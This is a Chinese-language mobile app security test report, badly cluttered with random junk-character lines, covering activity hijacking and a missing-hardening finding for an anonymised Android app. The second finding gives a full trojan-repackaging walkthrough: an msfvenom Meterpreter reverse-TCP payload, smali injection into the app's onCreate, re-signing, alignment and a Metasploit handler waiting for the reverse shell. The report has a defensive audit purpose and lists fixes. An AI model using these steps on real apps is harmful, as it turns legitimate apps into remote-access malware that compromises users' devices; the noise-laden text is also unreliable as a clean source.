; u6 s& l+ }) t" i9 I; N* l. O: [+ B, W
( k9 J A6 m! e4 h
7 T5 {* E1 \- ]) b5 e/ `5 R! H 2 _; |2 h6 p4 @ c, C" T+ \/ v) \
8 W! j& m+ Q; z* d1 Z
! k" u3 \2 x1 V- g! r2 b
8 p, `8 V; \$ U1 f0 p" M
7 x$ a i/ E6 E( S/ l
( F9 S# m& {, S& V* Z( ^; Q& ]: ^
表1-2 测试结果 / s ?) w( r9 q* U9 U% U9 O; N
0 t( [: m% ^3 H3 s, [# @- o& O1 \
) h& }( B! l( v/ q( e+ Z/ E7 l' m
: _) U. n7 M. s6 O0 D3 J 3 q( M, O# D8 T; g( a3 d
Q/ n9 N/ h' k9 t4 h' {) v F ) R" x1 o% l- {) H
5 a! Z* C8 T, W8 N' z5 g% n/ L; z
" @% T/ F( Q5 w
! D5 I$ v& p6 {6 j 8 B9 [0 e' ~+ n2 ~ k" r y- {
. s7 [ P2 i3 p- T+ Q! M' _+ W0 i 2 检测结果 , Z& j8 M' |4 d* l& ?. e# ~
% h+ x- ]( w# ^: F
5 @* G* ?2 m9 F7 g* m
7 n1 W* J8 R6 v1 @& ~ : p* T9 G+ m( R* B2 N
4 Q: P* R+ s. @% F0 B% Q 2.1 某某某
+ A5 p s1 v! K; a, s* \9 G/ e6 s2 W
s7 q8 K$ {( w# n! w
# O+ z9 y! k$ a, k0 q4 ?7 `0 t' J, U
; k: U0 h' H3 J; n, g $ s: D) M7 x& X
* _) M" G9 s8 T' p+ ]1 n
2.1.1检测目标
) }: F3 M: a7 Q% J: Y! w, ?* j+ A6 {+ F$ g6 d! [% ]* m0 u
, L7 N/ C0 k: y( ^5 Y7 d6 y' P" {! N% D, Z0 T* R
) x2 q z8 ~. q3 q. l( s( {
0 r8 t0 C4 |% j8 M% T- h+ Y 目标地址: 某某某某某某APP
8 P3 u( R8 k% P; o1 R. R; g; [4 f2 e' ]( p1 k- S, |
; ? n# Z1 ~% D( q$ j& o$ J1 o, k
; b C8 ]0 b" ^2 C . K1 B9 g! E) a' U$ f
: O- E4 l! w3 y/ v% W' a( P
2.1.2检测结果
% ^1 u6 J& V& v* X9 ?5 g$ \% I9 Y3 h" g
* k0 O* p3 r. L6 c( M6 Q3 @+ U2 Y* M$ \
; v' l e. b; X ?) X
" m3 y. X$ X. _ E, u Y D
2.1.2.1 - c, n9 G |0 e7 }# g7 W
/ h) Y2 C" o2 p+ F! m2 |3 s6 t
' c/ J) O6 T& W
) |/ F* F# K, [$ h7 o' K
' c, V& m% _& }
; C& i4 J* a2 N! x5 ? 漏洞链接地址:某某某某某某APP / g9 D* ]2 x+ C7 @ Y# Q
1 t# y& ~ H! x+ U- X% d- V. p
, t, I' c2 c1 @- M/ ]3 V
6 O0 H6 ~5 i9 z$ w$ Q4 p : c1 d% x- w; b2 l$ w& S. O! {8 Z+ ~
/ z- n: Q/ ?" \ H% ^+ ^ 8 s8 q* d. V( p
. @( o/ T, s: T2 o3 U
6 M! [0 V) \5 @
) _% ~ B4 C( r( S$ d* v ; m4 ?. u# \% q- l4 M, ~0 x
/ ^1 e r* Y8 q# c2 Z# L
漏洞分析及取证:
7 I: S! M; f" a9 x' ^
: g5 K0 c3 d: o+ s0 b8 n c3 x, I
# ]) y, @ i7 T
4 B/ Y4 M2 t- [2 [# k
& [" K( ]1 W; w, D6 u$ A9 S8 y# Y- V8 S& r# \7 Z- X4 t
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
" ]) \' J8 ^1 r; {# A1 ?$ T4 }$ M+ ~2 R
+ B2 D7 r) d- ?- [) k+ k( ^& L
/ x8 n; T q, V+ B- X; o/ [& A
; X; e0 p4 u) ?4 Q8 \
# O9 i" R) ~4 G% V! z" ]$ f j2 Q
; O0 W5 i7 v7 l" E
, f( H6 r6 b" `" q2 `5 |! x
* Y' \( O& B5 w6 F3 U' z" P
! V m s0 m( B/ u, R F6 B
( Z4 |3 b4 ^: u$ ?. r9 N
4 O6 h1 F. x4 w% n9 f1 Z 0 M1 c2 v& I, B9 O
7 `( V: D/ H. P* |
# x6 T5 |2 j4 m" ]' P, X7 F
8 K6 Z( T- q/ p6 j2 f
6 r# ~( G0 ~9 o* t0 b3 D8 L4 U% E* _$ P& T( A9 O
) v4 r7 i7 S8 ?
) u9 [7 S6 ^& \8 @8 ~& x
$ |- P3 t4 ?( ^4 S+ ]+ |# g2 \
5 O3 s# m: |( V7 w6 X
: {! P3 P4 T3 R. q" _% t# a# j$ [
5 [ e9 R d( l
# a( k, e' S% H3 g
7 R/ y" o/ R% c$ \- V
* O! Q; d4 G- t& \1 e
" X4 R: d+ [* s x; I" C$ ~: n1 Z5 ~. p% r/ `% H' e" J
; ^! \" t2 J. W M: b' b; G( q
2 O% `1 c# z6 I' J+ Y: j9 E! Q, Q
3 y& |/ U, S1 F5 F7 O L h$ v N' h5 u
6 W" f/ F! X4 T7 w4 ?8 X
) ]) a1 e0 g/ q4 C4 ^7 X
漏洞危害:高
: z% m T/ F% }) {" t, i' p
8 G' t4 O: c+ e
2 h& v, Y6 j) d( m1 G& V
1 X" O3 a6 s+ B a
: i( |0 {' i9 a0 V. i- a' f& o4 \$ I
8 t# ?& S, x ~% n% z2 |
4 P( T" O: O3 B( c2 X
' q) W. [4 w0 y. N* W2 A
- d5 T/ F- |* u j0 e3 J+ a8 D
$ R7 Y7 v3 [& C: p& h, T* q5 e7 |- b 8 B" Q- z! F& }9 g
' J! X* k/ r: G6 K( {* N- a
: I# B" [3 W" b( I; c5 F; h; F* `# \" v. v. f: G
) H7 E0 ?. f7 b4 @- X5 r0 ~6 ]9 x$ M% }1 O( d
严重程度
8 l$ s" y1 J9 e& u3 k0 n: i" l/ l" ], x; A) O
/ y \) A. p6 Y/ [' y. T
# ?2 V v: o, z0 b7 n9 J
|
\+ `4 ?2 ^: ]3 X- U T+ u
( b" w( R4 D" z) I2 T ?$ |+ }/ z
8 S% i1 y; C3 P( e3 Z- `' Y
_; f8 j" j; S" G% ?$ m3 g+ ^; N, ?9 t
: ^/ E/ |& M" P) c7 a' A; O J
8 e: w0 K4 [8 d; O0 Y0 @ 高
6 |; R; B+ u! i2 i8 J8 W& i1 S% L) \ J9 i3 W0 v) g
0 e" n# a7 t4 \, t6 |$ F: A% V0 @$ e
|
7 P7 c, t3 O2 d% Z) A8 o
. \0 d4 g0 {7 A1 O, Z0 p- q " {9 ?3 b( P" k# j) w& c
5 e$ |8 z( _* ` }/ \ c
# M) l5 k) ]+ ^
( T, C& ?) @( m0 G! {7 P
■ 5 q4 X( y: H5 \4 m, j! y
4 c5 e( _, d3 g$ G1 M. K ( e7 }% }6 U/ W
5 @6 ~+ u1 L u( f: @
|
: P- A; g- D) e
4 R8 T% p$ }( H 9 ]6 N/ c8 B3 U" i+ ]
# p* T7 a- K* i; \/ d 1 y) [& `0 I! R2 M$ `: {% b
' w% ?$ S4 N* z3 J% k
中
' h8 d; m4 D1 C8 a0 H. I, r, g. ?4 e7 z- y! b. A9 Y0 l
5 O2 r: z+ N, u1 E; c: i3 U9 s1 q, l1 Q3 j2 P$ A$ ~! ^
| 7 i) S' ~8 w* O7 Z( O6 t
5 l7 N* f$ W" u# t7 I 8 f8 _& l- i# u8 [3 o
9 T" R. a' d9 q3 O$ ]) V
. j# V8 E9 y/ n3 c, ?8 C9 ~3 E3 v
5 Q) d# B7 r" R. N
) k" [- c' S" @6 \0 t. G: i* N2 N
' a' \& n% ^, ?+ {
; V, B; J8 F' _. n: m' G* G5 I, j) [- n5 Z) Q& P( N! S6 m
|
9 I7 {7 k/ T' n9 W
! G& o3 i" M& ~5 f: ]4 F$ V2 \ 9 p8 K+ w' W/ ?. q% w
: S/ ^4 ?; j$ ` ]4 X# b. V( C3 g) \
& N; B3 ?% a" x/ K' t# v" `" p4 l ?8 p* d! Y$ a9 p4 l
低 4 w; d( r% A! c& G0 Q
c5 z- O+ R( x: i# h* a7 h
; C) Q2 m. C$ w0 R
/ f, c' M; ]6 B4 S5 } |
/ b7 C/ [" {3 P7 ]% ?% P
5 K% O* f* Z2 P5 ^ : \' x# ~8 E2 u' r6 `7 B: p! Z
6 l- `- l# \! D* L: d 9 N5 H9 {0 q6 O7 R2 a
8 B( U8 Q! w, G2 B 6 L1 [: k" C) |; `
- I# s/ c6 {( [ N$ b4 r" e
9 B9 }1 Z1 T5 i( D9 ^3 Z% w
* |( I) n/ ~& V2 o: A |
6 L# t7 {0 [- N6 H" @3 i |) R: l; p0 A
( K( s, s7 E% m; X6 w+ ^2 e1 |+ r1 p) b8 I, H4 z( q& n% I
8 X" D/ E$ A( j+ S# P
9 E& K; H1 ^' e0 g/ G
+ ]3 R9 E( P& D# h/ n/ f* M
1 [- [: b1 }; N# a% e& T ' i H. H ?' p( q( u
7 v" ?6 m8 l" ` r
3 q6 v5 u1 R. u+ h, K4 q1 J( H* N8 L
$ c, J& ?, g* G5 Q1 r# p5 M; ?6 K( z: X6 P* J. Y; _
& \. v" F- [& Z3 I9 A; o
9 o- O% C0 j6 H $ \% F$ \/ o$ y* E
Q$ b5 D, M9 a% k* E 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 5 w6 U& `1 A! a- p, D" s
/ s' {. ?" d" A9 `
z6 H8 W9 f3 Q+ n9 i& ? D
& h: u- F) y% O$ o R, a p & p- U; t; A W& C
+ m& W0 f3 V9 W# G/ Z% Q/ |. P
: @# p/ [" z( j
4 p& |9 k0 d) V h p% \( s: Y
8 k) @% I! s6 ^9 ]. |
( D7 j, K) H' x
& T' W$ U$ A9 Y& q* R1 ~% P ?
0 W& N+ @2 o5 X" m* c( T% y
9 X9 \6 `( w6 s, m: C; a+ Z* ~( w$ E: _; j8 g2 a# G. i
2 c' d2 }) T$ \* z
4 Y0 y" M3 j; ?+ w4 K! C$ O% I
7 t( e3 | M7 v0 y! ]& t# }/ h. d# G$ a! ?0 w3 ]
2.1.2.2 . U' V. b6 `% L) p* L9 V) t9 `
0 w1 Y. ^3 I0 f0 }
# s# z( S+ V, L2 r
, O5 W& W+ V- y* c# k+ }% D4 H
- Z1 x9 ^. ^; r- r! X) F& x/ X
- ]2 O9 U5 B2 K5 r/ a
漏洞链接地址:某某某某某某APP
6 B1 f7 [% P5 m/ @) j
# x; s, b- l0 G$ s4 i3 f1 X$ X3 U
' I0 Y: q) r. x+ c0 j" E' ^! H' A8 @( m) g9 l/ O: b! _
; g/ n7 K/ x. W) v! ?; P* ?. ]
% z; d$ F0 e) c; f' O
漏洞分析及取证:
. u4 p2 n0 F$ y5 z* O: y1 C6 k8 h7 i; x1 u% _. C! `- h
3 t8 [! r2 A1 _: [! u) X2 a7 S* G u; x+ A- G4 O" t
3 h8 Z0 ^1 n/ a& B, {
5 X7 {2 r8 ` D" G 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: + c6 A8 M$ i$ {) @/ w) j' w/ c
( x( K; }. z* y
3 e& Q; F1 @+ q
% N+ c. }2 E& |% m& l; \
3 z1 D# `2 W+ i6 x1 J5 Z$ R# B3 D1 W7 [* A3 J. ^! F
用Metasploit 生成木马 apk # q! D/ \0 E+ ^# p; }
2 G/ w" J6 D8 N, _
1 j" ^# Y/ Y* a% G. Y
! v5 i( ~, y! c: N- f4 V 5 L( L) a9 r5 k% T
9 T0 R& A+ c9 s& r) h, W: X msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk ( z: @. c- _3 y1 V9 A. e
9 i4 ^8 Z8 A8 q8 [$ @/ c
) h# S" i! _+ x S# r- t, {& u" p5 q. d5 K" Y1 Q( v
, |& v, w+ G% f9 N
2 g* @; T; j+ O4 t& K- @' B 反编译目标apk和木马apk
, s% z* ]7 a" y0 J9 k
- s6 w* J. q" g& b1 x, P! k9 [9 @
$ G- n P. Z U" I! ?
* Z# y9 N# b" A8 r9 u 4 y1 T# M. w" s1 ]
0 G+ z$ g$ i. ^
apktool d target.apk
7 g8 J* z' V0 Q2 K. N3 j- @8 f
% A# ~" G& j Q; L3 n$ [ n apktool d cockhorse.apk
1 _ j6 h$ h- r' m* T( B7 ~* X0 s
/ g3 S3 V6 Y% u, t7 W( b2 ]7 C
- L$ ]! }; V! G4 b( y6 L7 s0 m
5 |; R! u! ?0 @
1 i( G5 p5 ~5 ~/ s: n
木马 apk 注入目标 apk ; ~7 k z0 { M! T* y# e( a! p V' ]
- h' [5 _0 ?% o3 n! r
. F; L* P1 I% v3 _) B% w( a) Z- T4 j6 l G5 r" s1 y% D E
9 }& V6 c5 s2 T9 w c, a3 e5 l* A6 g
" D- e+ ? d" k 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
' y' I/ P. w) ^! {, C/ A
* I: |- B# @' L) J( v! D& { U invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
: k" t3 H2 A1 {, x! q0 [1 G' R. }. N$ t& S6 J* [
4 H% M; {+ l) w* N- J+ f" D) I5 I' Z2 r% X* C6 T% y
2 N6 h! K3 _0 b5 o7 c4 c
4 V4 o2 j2 E( `! v& t. A0 R$ o
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
& G& k* e. V, b T
2 Z% E4 N+ J2 d: d( b0 J/ |' X
* r' g- Q* d8 Q
/ n# X2 ~: |! r
' G w6 V' Q+ Y
. I! S5 Z. }) N: e7 u2 ~- F" v; G 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
( |, Z5 P7 a1 x( T. @3 u, [
! r0 {6 a# M5 q z' Q7 d0 S
4 J: v0 h* e9 [- C) z1 R& R7 [. C; P
" L) v+ a" }% X5 g8 W% W! R1 k- k: N . }) b2 ]$ @% d, \* C
; K. g3 ?1 T+ Y/ t 回编译生成最终 apk
8 R7 C9 y# Z a- f8 j* l
2 f: a7 T; w; }$ R- ^; m4 j
/ F6 |* Y ]/ |* b
8 G* ~/ w! t0 S- G+ m# f
# a) @- ~$ M+ Z# n/ F
- \7 N4 q; I5 [2 @0 v 重新打包
# G1 F0 h, @0 V. D9 Q
2 L0 d; u) i- a4 z3 C1 q/ Z1 f. |
+ d/ U' h5 o% a& A2 ^2 [) I0 W1 R; J+ Z
- ^- V9 M w" N* q7 j: s) k
. V2 z$ y9 L' ?1 t& O4 g6 l3 y apktool b -o repackage.apk target_app_floder
8 ]4 D1 ]. D8 A2 H0 E/ O- `% m* U. {
1 g, _5 Y; s8 q9 m4 x+ U
+ l# I5 c) ^) j$ |, e& U. ^ 0 H$ y" `) t4 g
$ \# `* ?, c2 L 创建签名文件,有的话可忽略此步骤
+ Q, O/ W$ q. z8 H1 O3 n3 [/ Z
6 z6 _/ B) n4 n* u) f, e- ?0 V
% Y# C6 T a7 V: M6 O# A/ [3 P( L6 W
1 T6 W; W; |- |) @2 x( x9 @
d, x7 g1 X% z9 Q- _ J* T$ A5 l
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
* m% s/ [, W9 X) N: C$ i/ U& V' K9 x+ K% n% E9 c# M6 N
* X3 `* H1 l6 X. X
- X% }& j u' Y$ S
6 `! ]6 S; y3 l) ~
. ]2 [4 _$ ]) n 签名,以下任选其一 2 Q5 ^* w. ]& S7 ?
1 e9 ?$ a6 m: y: O7 m
$ y. _0 g; Q1 e/ M6 Z5 t s
/ E. `+ t0 U+ O8 @- f: E* e; F
# [; H" e7 Y5 M
" l$ Q* r1 ?8 k3 }" i, ?8 @+ V- M jarsigner 方式
+ `$ w7 K7 Z. x m( N
* d9 L! }0 g0 f- t
1 n$ O* W; {1 W2 u o; `
F. L9 a2 t1 r( ~9 w7 J+ p
8 A0 p* S% F8 P$ j8 r/ W9 `5 N; ^
! x5 L2 L9 q6 e1 U jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 7 N5 G4 P& {- b5 I d: E9 ?$ M
/ t. x* L& V5 A; G* f
7 N. S8 L w" e- a! Z3 O
7 h) f5 R1 a, t* A ! A* ]& z( ]0 y" ]4 x
8 ?! I& q! T. ]& l0 ]3 |6 x" e apksigner 方式
, W/ ]4 ]' ~: L8 o. q. t% f- s% \: g: O: K6 k9 I, D
1 L- S( o, B# _/ e0 ]3 ?
+ E# n9 g) j7 b8 t* o
1 T4 R# @8 s" }
3 t- X$ _- P, l1 x. R7 S; ~2 ? apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
( C7 i. c# R! h9 D6 U/ X8 E
8 _# ?! k; s1 F4 c, y
+ L& }; p# z) _: r7 l
! @ z2 z6 _0 y; H. Q& T% N
, v) L7 r% H8 r
+ I: |* \3 [# R, P d$ M, W 如需要禁用 v2签名 添加选项--v2-signing-enabled false
8 q7 b+ A# l' M% \% Y6 W( E3 f$ x. w+ d, X5 |& q
- w' r3 z& g+ O1 l1 O# p
0 H" Q" B: V0 ^9 z& @. j& g 0 f/ K. |" E8 F
2 K# z) {2 b l; S4 b( l 验证,以下任选其一
3 H+ c% T& l5 B1 Y* w8 G
# M6 |" ^3 |0 E+ M5 ~# _: L# x8 U
3 b* f$ h" e8 T7 S t
% m+ w. c' d" R2 Z8 i* ?0 w& o
. U$ I A, \2 |5 X( G) M
w% r' Q9 g, z# g jarsigner方式
6 E$ Z: z2 z& [( |2 X/ B" u5 Z3 o7 F% o5 u' ^ z
! T6 H9 s# a9 h2 P7 ]* @% i
2 W y1 H g+ s . W8 k$ q7 ?3 O f
6 E( `: a9 {/ k4 t jarsigner -verify repackaged.apk 8 @3 u. m- R8 B+ ^: ^
3 J j7 c! t* {
/ H( g! \1 I3 l$ _4 d" ~; M, {# t/ Z& M: y2 y# q1 Q4 k
+ R/ p( \* C, ]! s! G" p, ^' m' p- a4 |/ _; j' A
apksigner 方式 2 W7 n+ w3 Q+ t, x# w
% J! K6 O6 z$ l8 [. C- G
$ C1 A2 o0 b" r1 a/ Y# U" e
3 J2 F5 h2 T' F- ~+ Y6 o - H( g' P7 E7 w8 t/ w7 [
7 R1 |( C$ D( P% F% J. A! J! z. m7 ~ apksigner verify -v --print-certs repackaged.apk
( F' P9 J8 t9 c8 S; R5 O/ o% d
; e' K8 {& O7 z* I" Z
, g' Q' |: v8 I% Y
8 X4 B* v1 g( d9 z& p e , y Y( d' y1 A D7 R: ~, {
: X7 ?' Z. Z% s, F
keytool方式
' b0 }) F5 L! _0 Y5 F4 u& u4 D* b
; y5 P4 ~9 q6 ]/ B, S) \. }! V
2 A# ^9 p% ~: T+ S# |
- z$ c; J4 e( d! p0 j* _- G
+ i2 P$ _' |. k/ f, V+ {
/ {, D- H% G: L+ V keytool -printcert -jarfile repackaged.apk - T Y2 _, P% u9 s& R
. J3 b" d. n+ r; p+ n
% l9 q; c o- G" E
' G7 w7 M t3 R& D
, ?: ?/ a0 O& S, x9 s/ s
; f9 o& d6 n/ v7 ? 对齐
[3 B/ ~1 ~, y% o3 Z7 p6 k6 j
5 ^* v2 S' j" v3 O& x; n6 h( z
! U F( q: {7 K
, o" A m7 k) b
- ^% ^: Z7 w- p* A1 I ]" s 字节对齐优化 ' e7 `4 f; Y/ b# V: q
. j& P+ J1 v7 ~! L' n
+ F( j/ }) X7 y- Q9 K/ C' i2 t
/ N7 a* p; r7 H) e6 {& _4 p
+ S5 [+ U3 q+ S) O1 q3 S2 Y
- \" ?, l" h+ f7 T8 V4 U zipalign -v 4 repackaged.apk final.apk
0 j, D: ^7 e7 T- d
5 ^9 @7 k& a2 s
: W j0 S N4 y( ] x* p& ~
" P5 k% J* @# {( k* x8 D0 L
: K3 f# J# A5 y* c D5 n+ a& {& W
检查是否对齐
, @$ h# X% O3 N8 C
4 M! L* h2 |3 H% a& a3 z8 j
# T. I3 r& }3 j6 l# x. f
- Z+ D3 j- l6 T2 e & f1 N, N! s. ]% X% ~4 @3 y7 |
. D" j" Z: y4 W' G, l
zipalign -c -v 4 final.apk 1 e- @" t0 Y h: C2 i3 Z
( s& e# s3 S' G/ ^- v
' j6 `- B: |- Z) j
" ^ @8 n. T6 t+ E 7 B) k4 i8 k' n& I
$ F, K5 k4 q0 l' i+ X) ^
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 ) I3 T- r5 H1 p
: I: o0 b; e% J$ s
' z5 L2 ~2 K+ M, u7 m1 A3 R& s. L( Q1 L
$ K/ p6 I a/ ?# `0 `- k2 ?- G+ l2 g9 `
启动Metasploit控制台,配置参数等待上线 8 c' o/ Q; e [1 A0 `2 Y9 o7 j
# {* s. v+ H; o# {0 h" \5 m" b4 h
' L- t, ]6 w& u( I. q
1 W4 ]2 e8 ^0 k. i
, Q* e1 q* \# ^% a7 ~
6 B" \. N8 o' V 在终端依次输入如下命令 # d# c- F: C) U* u' b H) z
: y* S3 h6 Y4 O q" W" d9 I. K/ y
4 f" Y7 g% L" w, T( s% Y
# ]% P8 ~4 Q+ M: Z
7 O# V( o' _6 H1 ~* D
* U0 {' a! ^* q8 } msfconsole
/ X6 d" z. M" b7 Y
% H/ ~, X# ~; P" s# j
/ f0 q, L: n' B) {; n# ]4 j) N( Z( ~
* ~+ J# f4 F" C6 e! }6 {, R
5 a# v. H$ i! x
use exploit/multi/handler # H7 N( [4 c! c: i5 D
& F# d1 i/ A- C; p
3 w0 H" a% D. s# Q6 e9 N% e4 B# \/ V; i Z- b, v) e
2 j x6 O. D$ ]: y& j( K8 [
0 | ^2 c2 C9 H! P
set PAYLOAD android/meterpreter/reverse_tcp
/ U) n$ H6 L: S# e& f& C# n: [3 h
* q: Z( E! O2 b! Y) T V6 O! i' Z, F I% L' V M Z6 W& w
0 r: ^4 S7 z8 n" Q# H; y
- _1 |' T+ u. D' u5 j set LHOST 192.xxx.xx.xx & ~4 Q$ z+ J" a$ U8 R" H r f
3 }* C- G( l# @0 v3 X$ ]7 X
$ Y. }+ X7 U( |; N5 N5 R* }
$ d& C5 o+ _8 u; N+ Y7 B4 k+ U7 c
: g! F3 X. K1 j3 v& P" ~ r; y$ E# D
set LPORT 4444 9 n0 F7 H' r$ H. _$ U1 j) r* L
! }+ a* C7 i' W
1 G: m) M6 l. Q& P4 R! j$ G6 N/ Z7 P4 |* {3 c+ O$ a" @" s& }
% s4 ~1 N4 I- X% S
$ A2 X+ s9 a4 o8 M8 |, j exploit
3 u2 I% Q( ?5 ]' K0 ?( T8 E# ^$ `
4 C/ |' t! Z5 {+ | X# _
! y1 B5 S. C9 V, _. C5 v# y2 g1 U
: h% I% O3 A# O) E: x0 i& l* Q% ?- W* c6 d: j
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
7 J3 a. R; {, d3 b+ g$ q) s [
/ j% l0 x$ G, E* {
& @, {! x6 w4 s5 a( ^$ a
' g y, l4 Z5 r0 X$ e - J* P8 `2 x" g8 x$ y% i
: a: B% a: j: p# J# @" ? f% j 漏洞危害:中
8 H G3 g9 L) J( [ z3 B/ S. K' W
% n9 V( ~* b7 `9 B9 C
3 C, F$ E% C: c# h5 r+ o m' @! y/ G7 v7 U
' }: u' K$ d' N- [1 [" |9 ?
* C) v9 D/ r3 M/ x7 x. G8 h- t
; V# I- v. E* _0 z1 D
# n9 [4 }1 R! O& |
6 e% U5 k0 l- o: _, C
+ a1 x" ]9 s: `; C6 T/ m: d9 p 7 }. }' I; B5 D0 E7 c( {& c( o( B) ~
! q# `$ Y- l4 s2 I
! Z2 D, ]( I! S) A* P5 S( m7 @1 [: U @ z& A6 X. a8 D: W
9 n. h1 j0 P8 y" V
Z [7 k0 A4 `7 ^; c0 b0 r7 X / y1 Y V5 ] ^# `$ x
% x! \' Y- ]* Z: o5 Z+ S: U 严重程度
9 C- v+ }( @! g1 U; q4 c8 T
0 X& o/ i6 I, S/ ?2 l' V / x5 D! K, d3 R7 e6 ?2 T
9 \* o9 C7 M6 _
| ) b: v- L" x/ N; J; n
4 K3 B5 s( g" k8 n1 V$ \6 z
5 b' ^$ s2 i3 U
5 n" P" p& w/ f1 j - `9 Q. K) c( Q6 o) V+ t
5 b$ R8 J. g- K: z1 y 高
6 F+ n* x, `9 N
2 q9 D5 y/ P) a0 i1 s
8 Q+ O8 S; L( M) a/ ]$ d( B( f& P/ t0 l5 X' f+ n
| 0 u% @' f4 q( D' K
) f1 E3 F8 Q7 R" q. y
* F# E- f6 o0 ~( M
+ O1 h4 T$ v/ c* y) t
. }$ }, d6 `! |( X! p1 |$ `/ E! k" U/ V3 _# T/ u
■ 4 @; f; t* V& b6 l3 G/ [
. Y4 O& Y* Z8 i, @# w
( z$ o8 B' N- e1 j: q; [, e1 V3 p4 y% ~0 Y9 l1 I) @
| / t. p4 j4 P+ k5 z! z
, c3 F7 g- w3 s
7 p3 U, b3 m% O! n; G
, C$ i1 [ ]/ ~4 l
( C0 L( h9 Y$ d' E D+ t3 H: ~+ B2 G8 Y+ G4 R7 F
中
" G( Q3 H) h0 K- H' r) ^4 {. d* f& e; H( a" g
; M4 z) f) z* U: v2 C1 g/ q$ t& I; G+ ^' j( s! |7 @1 n4 q, m
| 1 Y8 S% d* \: b8 l) y: O
- T" P2 X6 b8 j: f) x
+ [- @6 c! g3 p& I
, Q) s! [) r) M" U) K7 k 5 J% R/ M% g6 ?) e9 @
: z2 P* L( j+ t! L f, N
4 ] N6 z6 T9 K# m+ D, ]
4 @0 u& H) t" A# y - v2 w0 T/ f+ g$ [
" y. }4 N C! {" o( {" J! |% ?1 F' K
% T, Z. {) t) ?3 V" y
& I* ]# j# j" E$ R: d6 r
| 6 ] t% Z0 s" c4 I* ?* u
& w+ ^; u/ p5 t" ~9 D: K
! a4 ~2 D# h2 L, {8 {
+ h6 i+ H- t) f3 z
5 ]9 V- q' p0 Z6 }6 }4 Q
! ~+ N* ]3 s" a7 V: T 低 * C- q: b0 U# E: m% x
) ?! K3 ]' T+ K! K5 j) J
$ V$ D8 o3 ^: O" v
' r3 u' ?& n4 l" } |
3 b f; ~9 ]# `6 Y, ~& l$ w
7 c( {3 ~3 q& I- V- W % L) w. O6 _0 ^2 r' h% n7 E
1 e, R. l- N3 O/ Z7 O
0 L) d3 R0 T# b; W5 e6 s$ l" _- P
8 P* S/ X3 }' h+ R0 {+ k1 V* O
3 u# a; O* ~6 t: |/ a: t! s3 ]$ m; o, ?) @
7 Y% ?0 a8 k6 \- C3 ? g* U3 e
' l3 ?3 U V, v% v# s) E$ _
% k: _( K# h" p) M/ }4 k8 F$ ^: p+ D/ X! |5 E
| ( ^! z3 T, H; h# f9 ? ^
% \( W# ?0 e) z* O/ ?8 `
a, e! y9 j! M/ e. V3 h, n }- ?9 Z
% s, E! E G: v+ [; D) z, k8 ]3 C; F- F0 w6 j6 V$ f& T
6 _- o. Z& u3 [ P* n) X# O4 @) b6 ]% N
0 k1 r& v- Z: s/ V
; m/ x( c: C/ R6 \5 P
% L3 w; v+ O& W% p- o
& k9 o, }7 n! e, U+ l. Y0 z
" A! S% ^4 ^1 P1 p: q D- P9 ?
2 a+ x! f% H0 w W+ Q! w, [
f6 J. [5 |" T9 W) x9 V6 [9 A5 A
/ c4 D$ ^" |2 X: Y
# y5 @- f& U, [, ]$ s8 ^* d( [3 P1 U
修复方法: 4 ~# L) Y( _( V7 }5 V `4 K
0 f6 `7 n) v$ f% ?; d
3 z# ~0 S( }: E* h5 p! }% Y
; x8 B* ]+ o7 ?* i$ @6 O0 a + n2 I2 V. ?" u5 i5 P8 t0 r
# _( {1 v& [/ U" w) y$ g" K/ B% f: `2 H 1.在 APP 启动时应做签名校验防止二次打包。
0 _$ R0 z1 h' ~% K; ^2 W
6 x2 P: K. r, ~% L5 n; a/ y/ R( Q 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
$ x3 b6 g( q* q c, U* _9 t; W; I' ]: \# L
! b- J4 ^ H& h! p2 |! z6 f6 J8 x6 D7 d, M C! F7 N
0 s+ h4 k. V* k, a( W5 g2 t' D! r* l1 e1 T4 X: o5 z
7 b4 T2 k4 s" N
- h2 g# I; N. \# r+ V
, p5 d1 Z4 D1 m& m, ?# \1 ?4 G% i' w# ~ t: p2 h
" H! Z# R* Y* D* m. a+ F
! I( E% |9 c# X
0 i8 Y; M, l: e6 j2 w! Q
! {) U& f& d* v" r8 _4 I ; t- o% N! X/ R! } \0 V, O7 e. X
0 o- L. |. r% T( D: i% q8 e7 E& v
' j$ k2 h1 z2 }% i; L8 ?
8 R& R U% |. N; Z% C2 ~
7 m* {. F( [! i0 R
B4 b9 v/ i# l/ q* k9 i